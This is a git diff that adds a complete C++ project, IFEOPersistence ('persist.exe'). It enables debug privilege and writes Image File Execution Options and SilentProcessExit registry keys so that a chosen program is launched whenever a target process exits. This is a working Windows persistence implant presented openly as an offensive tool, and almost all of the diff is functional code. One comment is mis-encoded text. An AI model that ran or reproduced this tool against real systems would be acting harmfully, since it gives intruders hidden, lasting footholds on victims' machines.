diff --git a/ExitProcess.h b/ExitProcess.h new file mode 100644 index 0000000..d3e4feb --- /dev/null +++ b/ExitProcess.h @@ -0,0 +1,26 @@ +#pragma once +#include +#include + +#define IFEO_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" +#define SILENT_PROCESS_EXIT_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\" +#define LOCAL_DUMP 0x2 +#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200 +#define MinitorProcess 0x1 + + +#define USAGE "Usage: persist.exe \n\n" + + +class RegSet { + +private: + BOOL bIsValid; + HKEY hIFEORegKey; + HKEY hSPERegKey; + +public: + RegSet(std::string processName, std::string sourceName); + ~RegSet(); + BOOL isValid(); +}; \ No newline at end of file diff --git a/IFEOPersistence.sln b/IFEOPersistence.sln new file mode 100644 index 0000000..00d4fe6 --- /dev/null +++ b/IFEOPersistence.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.4.33213.308 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "IFEOPersistence", "IFEOPersistence.vcxproj", "{EA142380-68C6-46E1-ADC3-749E1CE42043}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Debug|x64.ActiveCfg = Debug|x64 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Debug|x64.Build.0 = Debug|x64 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Debug|x86.ActiveCfg = Debug|Win32 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Debug|x86.Build.0 = Debug|Win32 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Release|x64.ActiveCfg = Release|x64 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Release|x64.Build.0 = Release|x64 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Release|x86.ActiveCfg = Release|Win32 + {EA142380-68C6-46E1-ADC3-749E1CE42043}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {01C28B3C-4464-433A-BC37-9252689EDA26} + EndGlobalSection +EndGlobal diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..0aa1d86 --- /dev/null +++ b/main.cpp @@ -0,0 +1,72 @@ +#include +#include +#include +#include "ExitProcess.h" + +typedef NTSTATUS(NTAPI* pRtlReportSilentProcessExit)( + HANDLE ProcessHandle, + NTSTATUS ExitStatus + ); + +BOOL EnableDebug(BOOL bEnable) { + HANDLE hToken = nullptr; + LUID luid; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; + if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; //³¢ÊÔ»ñÈ¡µ÷ÊÔȨÏÞ£¬²¢½«È¨ÏÞת»»Îªluid + + TOKEN_PRIVILEGES tokenPriv; + tokenPriv.PrivilegeCount = 1; + tokenPriv.Privileges[0].Luid = luid; + tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + + if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL))return FALSE; + + return TRUE; +} + +DWORD GetProcessID(const char* processName) { + DWORD pid = 0; + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snapshot == INVALID_HANDLE_VALUE) { + std::cout << "[-]ERROR: Failed to get snapshot.\n"; + return -3; + } + + PROCESSENTRY32 processEntry; + processEntry.dwSize = sizeof(processEntry); + if (Process32First(snapshot, &processEntry)) { + do { + if (_stricmp(processName, processEntry.szExeFile) == 0) { + pid = processEntry.th32ProcessID; + break; + } + } while (Process32Next(snapshot, &processEntry)); + } + CloseHandle(snapshot); + return pid; +} + +int main(int argc,char* argv[]) { + + if (argc < 2) { + std::cout << USAGE; + return -5; + } + + if (!EnableDebug(TRUE)) { + std::cout << "[-]ERROR: Failed to enable debug privilege.\n"; + return -1; + } + + char* processName = argv[1]; + char* sourceName = argv[2]; + + RegSet regSet(processName,sourceName); + if (!regSet.isValid()) { + std::cout << "[-]ERROR: Failed to set Reg.\n"; + return -2; + } + return 0; +} \ No newline at end of file diff --git a/persist.cpp b/persist.cpp new file mode 100644 index 0000000..07724dd --- /dev/null +++ b/persist.cpp @@ -0,0 +1,49 @@ +#include "ExitProcess.h" + +RegSet::RegSet(std::string processName, std::string sourceName) { + this->bIsValid = FALSE; + std::string subkeyIFEO = IFEO_REG_KEY + processName; + + LSTATUS ret = RegCreateKeyA(HKEY_LOCAL_MACHINE, subkeyIFEO.c_str(), &this->hIFEORegKey); + if (ret != ERROR_SUCCESS) return; + + DWORD SilentExitFlag = FLG_MONITOR_SILENT_PROCESS_EXIT; + ret = RegSetValueExA(this->hIFEORegKey, "GlobalFlag", 0, REG_DWORD, (const BYTE*)&SilentExitFlag, sizeof(DWORD)); + + if (ret != ERROR_SUCCESS) { + RegCloseKey(this->hIFEORegKey); + return; + } + + std::string subkeySPE = SILENT_PROCESS_EXIT_REG_KEY + processName; + ret = RegCreateKeyA(HKEY_LOCAL_MACHINE, subkeySPE.c_str(), &this->hSPERegKey); + + if (ret != ERROR_SUCCESS) { + RegCloseKey(this->hSPERegKey); + return; + } + + DWORD ReportingMode = MinitorProcess; + std::string MonitorProcessPath = sourceName; + DWORD DumpType = LOCAL_DUMP; + + + ret = RegSetValueExA(this->hSPERegKey, "ReportingMode", 0, REG_DWORD, (const BYTE*)&ReportingMode, sizeof(DWORD)); + ret = RegSetValueExA(this->hSPERegKey, "MonitorProcess", 0, REG_SZ, (const BYTE*)MonitorProcessPath.c_str(), MonitorProcessPath.size() + 1); + + if (ret != ERROR_SUCCESS) { + RegCloseKey(this->hIFEORegKey); + RegCloseKey(this->hSPERegKey); + return; + } + + this->bIsValid = TRUE; + +} + +RegSet::~RegSet() { +} + +BOOL RegSet::isValid() { + return this->bIsValid; +} \ No newline at end of file